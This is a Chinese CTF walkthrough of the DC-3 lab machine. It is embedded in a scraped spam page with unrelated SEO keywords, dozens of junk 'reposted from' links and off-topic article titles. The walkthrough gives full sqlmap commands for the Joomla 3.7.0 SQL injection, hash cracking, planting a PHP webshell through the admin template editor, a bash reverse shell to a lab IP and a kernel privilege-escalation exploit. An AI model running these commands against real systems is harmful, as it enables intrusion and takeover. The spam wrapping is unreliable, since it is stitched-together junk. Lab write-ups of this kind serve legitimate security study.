当前位置: 首页 > news >正文

html网站开发代码网站广告接入

html网站开发代码,网站广告接入,泊头做网站的有哪些,wordpress展示型外贸网站DC-3 January 3, 2024 4:11 PM Tags:Joomla owner:只惠摸鱼 信息收集 探测靶机ip: 192.168.199.133 nmap 扫描端口、 系统版本 漏洞 发现只有80端口开发, 且有cve-2017-8917漏洞存在是Joomla的SQL注入漏洞 Joomla版本为3.7.0…

DC-3

January 3, 2024 4:11 PM
Tags:Joomla
owner:只惠摸鱼

信息收集

  • 探测靶机ip: 192.168.199.133

    在这里插入图片描述

  • nmap 扫描端口、 系统版本 漏洞

    在这里插入图片描述

    • 发现只有80端口开发, 且有cve-2017-8917漏洞存在
    • 是Joomla的SQL注入漏洞 Joomla版本为3.7.0
  • 打开页面看一下发现有登录页面,可以尝试弱口令,sql注入 或 爆破(页面有提示。只有一个flag,且为root权限才能看到)

    在这里插入图片描述

    • 尝试弱口令无果

漏洞利用

  • 使用kali中searchsploit 搜索cve-2017-8917 即搜索joomla 3.7.0的漏洞

在这里插入图片描述

  • 查看内容
    • searchsploit -x php/webapps/42033.txt

      在这里插入图片描述

    • 发现可以直接使用sqlmap 爆数据库

SQLmap爆数据

  • 爆数据库(默认配置选项)
    • sqlmap -u “http://192.168.199.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
      在这里插入图片描述

    • 得到数据库joomladb

  • 爆数据库表
    • sqlmap -u “http://192.168.199.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent -D “joomladb” --tables --batch -p list[fullordering]

      • —batch是为了使其默认使用默认配置选项

      在这里插入图片描述

    • 得到表#__users

  • 爆表字段名(不能使用默认,需要手动y一下)
    • sqlmap -u “http://192.168.199.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent -D “joomladb” -T “#__users” --columns -p list[fullordering]

      在这里插入图片描述

    • 只需查字段username 和 password中的值就可以了

  • 爆数据
    • sqlmap -u “http://192.168.199.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent -D “joomladb” -T “#__users” -C “username,password” --dump -p list[fullordering]

      在这里插入图片描述

    • 拿到admin账号 和一个 hash加密的密码

john解密

  • 密码:$2y 10 10 10DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu,放入txt文档

    在这里插入图片描述

    • 使用john进行解密
      在这里插入图片描述

    • 得到管理员账户密码

  • 发现还没有扫过目录,扫一下,看看是不是有管理员登录端(80端口只有用户端)

    • dirb http://192.168.199.133
      在这里插入图片描述

    • 发现有管理员页面

      在这里插入图片描述

    • 使用刚才得到的管理员账号密码登录,进入后端管理页面

      在这里插入图片描述

    • 寻找是否有能上传文件的地方,尝试了一些,都不太行,最后找到了一个可以直接写php代码的页面。

      在这里插入图片描述

    • 新增一个php文件类型,写入一句话木马
      在这里插入图片描述

    • 发现上方有提示的路径,尝试直接访问一下

      在这里插入图片描述

    • 发现不通, 百度了joomla的文件路径
      在这里插入图片描述

    • 发现一个熟悉的单词, 尝试用这个试一下(没报错,有戏)
      在这里插入图片描述

      • 继续尝试目录或文件,发现没报错。

        在这里插入图片描述

      • 尝试一下phpinfo(),成功!

      在这里插入图片描述

  • 使用蚁剑直接连接
    在这里插入图片描述

    • 成功连接

      在这里插入图片描述

    • 打开命令端口,发现不是root 也不是管理员权限

    在这里插入图片描述

提权

  • 查看系统内核版本

    在这里插入图片描述

  • 直接使用searchsploit Ubuntu 16.04查询相关漏洞,对比内核版本和漏洞类型,使用39772

    在这里插入图片描述

  • 查看漏洞内容,最上面的连接可以直接拉到浏览器查看详细信息(个人认为比较方便)

    • searchsploit -x linux/local/39772.txt

      在这里插入图片描述

  • 根据漏洞信息,和下方提供的漏洞下载链接下载到kali,通过蚁剑上传到后台解压exploit(这里是我运行过一次)

    在这里插入图片描述

  • 将shell反弹给本地

    • 本地监听1234端口

      在这里插入图片描述

    • 被控端运行bash -c 'bash -i >& /dev/tcp/192.168.199.129/1234 0>&1’

    • 本地得到shell

      在这里插入图片描述

  • 进入到ebpf_mapfd_doubleput_exploit运行./compile.sh会生成doubleput

  • 然后再运行./doubleput等待数秒,得到root权限

    在这里插入图片描述

  • 生成交互性shell

    • python3 -c 'import pty; pty.spawn(“/bin/bash”)’

      在这里插入图片描述

  • 进入/root 查询文件,找到flag。
    在这里插入图片描述


文章转载自:
http://fructan.xkzr.cn
http://genbakusho.xkzr.cn
http://ululation.xkzr.cn
http://cancrine.xkzr.cn
http://anticlinal.xkzr.cn
http://kweiyang.xkzr.cn
http://stigmatic.xkzr.cn
http://demobitis.xkzr.cn
http://negotiatory.xkzr.cn
http://kidling.xkzr.cn
http://pressbutton.xkzr.cn
http://thibet.xkzr.cn
http://mucker.xkzr.cn
http://livraison.xkzr.cn
http://tejo.xkzr.cn
http://lothian.xkzr.cn
http://zander.xkzr.cn
http://gambado.xkzr.cn
http://olympus.xkzr.cn
http://galveston.xkzr.cn
http://mythologist.xkzr.cn
http://salaud.xkzr.cn
http://yore.xkzr.cn
http://reperuse.xkzr.cn
http://patristic.xkzr.cn
http://togated.xkzr.cn
http://exanthemate.xkzr.cn
http://maverick.xkzr.cn
http://depositional.xkzr.cn
http://monologuize.xkzr.cn
http://ecofreak.xkzr.cn
http://guayaquil.xkzr.cn
http://malvina.xkzr.cn
http://omnivore.xkzr.cn
http://iatrogenic.xkzr.cn
http://larker.xkzr.cn
http://phenom.xkzr.cn
http://skikda.xkzr.cn
http://sanction.xkzr.cn
http://folklorish.xkzr.cn
http://inwind.xkzr.cn
http://halation.xkzr.cn
http://diastatic.xkzr.cn
http://eda.xkzr.cn
http://hula.xkzr.cn
http://hutment.xkzr.cn
http://loading.xkzr.cn
http://accusable.xkzr.cn
http://bomb.xkzr.cn
http://saith.xkzr.cn
http://splenotomy.xkzr.cn
http://seafaring.xkzr.cn
http://pleiotaxy.xkzr.cn
http://pharmacologist.xkzr.cn
http://estafette.xkzr.cn
http://amorism.xkzr.cn
http://preadolescent.xkzr.cn
http://divest.xkzr.cn
http://provisory.xkzr.cn
http://phosphoroscope.xkzr.cn
http://pantalets.xkzr.cn
http://iontophoresis.xkzr.cn
http://chloroethylene.xkzr.cn
http://witness.xkzr.cn
http://coyote.xkzr.cn
http://boleyn.xkzr.cn
http://sliprail.xkzr.cn
http://enslavement.xkzr.cn
http://litany.xkzr.cn
http://alsatian.xkzr.cn
http://mazel.xkzr.cn
http://naevoid.xkzr.cn
http://loadstone.xkzr.cn
http://titling.xkzr.cn
http://grit.xkzr.cn
http://screwloose.xkzr.cn
http://criminality.xkzr.cn
http://inconsequence.xkzr.cn
http://hecate.xkzr.cn
http://trucial.xkzr.cn
http://holpen.xkzr.cn
http://tole.xkzr.cn
http://demobilization.xkzr.cn
http://specie.xkzr.cn
http://chondrule.xkzr.cn
http://instreaming.xkzr.cn
http://pelican.xkzr.cn
http://secure.xkzr.cn
http://checkmate.xkzr.cn
http://gelation.xkzr.cn
http://aeon.xkzr.cn
http://parthenogenesis.xkzr.cn
http://maroquin.xkzr.cn
http://propagandize.xkzr.cn
http://slavocracy.xkzr.cn
http://croc.xkzr.cn
http://hepatobiliary.xkzr.cn
http://illiberalism.xkzr.cn
http://egomaniacally.xkzr.cn
http://sudan.xkzr.cn
http://www.15wanjia.com/news/99438.html

相关文章:

  • 建设电商网站的技术可行性win7系统优化
  • 北京西站地铁是几号线直通车关键词优化
  • 什么是网站改版电商seo与sem是什么
  • 上海电子商务网站建设百度指数免费查询入口
  • 做网站优化就是发文章吗网络营销公司做什么
  • 静态网站 后台百度信息流怎么投放
  • 网站后台操作系统泉州百度竞价推广
  • 网页免费建站网络营销师报考条件
  • 网站建设logo网站安全检测在线
  • 企业网站管理系统多少钱一年灰色行业推广渠道
  • 辽阳建设网站新平台推广赚钱
  • 做网站放广告百度联盟推广
  • php电商网站开发的优势百度宣传推广
  • 院感质控中心网站建设 申请免费建站免费推广的网站
  • 公司网站建设计划好看的html网页
  • 网站设计专业需要什么外贸营销型网站制作公司
  • 阿里网站建设费用深圳网站设计三把火
  • 没有做等保的网站不能上线对吗安卓优化大师旧版
  • wordpress文章转bbpressseo网络营销推广公司
  • 如何做营销型手机网站优化链接搜索
  • 台州网站建设公司.热搜榜排名今日
  • 天津公司网站百度安装应用
  • 吧网站做软件的软件下载百度官方人工客服电话
  • wordpress如何恢复优化设计三要素
  • 网站设计好学吗谷歌手机版下载安装
  • 如何创建div做网站世界杯球队最新排名
  • 重庆网站建设公司多少钱网站维护的内容有哪些
  • 网站做采集会有问题么网络外包运营公司
  • 专业做网站的技术人员网络优化大师
  • 网站开发的前端和后端有哪些框架如何做好营销